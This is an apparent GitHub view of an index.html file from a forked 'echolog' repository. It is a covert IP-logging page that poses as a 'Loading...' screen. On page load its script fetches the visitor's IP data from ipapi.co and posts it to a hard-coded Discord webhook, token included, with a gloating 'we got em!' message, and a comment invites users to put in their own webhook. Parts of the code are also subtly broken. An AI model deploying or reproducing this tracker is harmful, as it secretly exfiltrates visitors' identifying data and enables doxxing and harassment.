forked from 3kh0/echolog
-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
28 lines (28 loc) · 1.04 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Loading...</title>
</head>
<body>
<h1>Loading content...</h1>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$.getJSON("https://ipapi.co/json", function (data) {
const ip = data.toString()
const request = new XMLHttpRequest();
request.open("POST", "https://discord.com/api/webhooks/1063842589662531665/P3qSW3-08twj-r3l8CahPZE6IQNWacr6Jv0QJAiAXQYE3x1ulrJiONaDtm0co32r5asY");
// Put in your discord webhook url above ^^^
request.setRequestHeader("Content-type", "application/json");
const params = {
username: "ip-echo",
avatar_url: "https://3kh0.github.io/img/echo.jpg",
content: "**Ladies and gentlemen we got em!**\n> IP: " + ip,
};
request.send(JSON.stringify(params));
});
console.log(ip)
</script>
</body>
</html>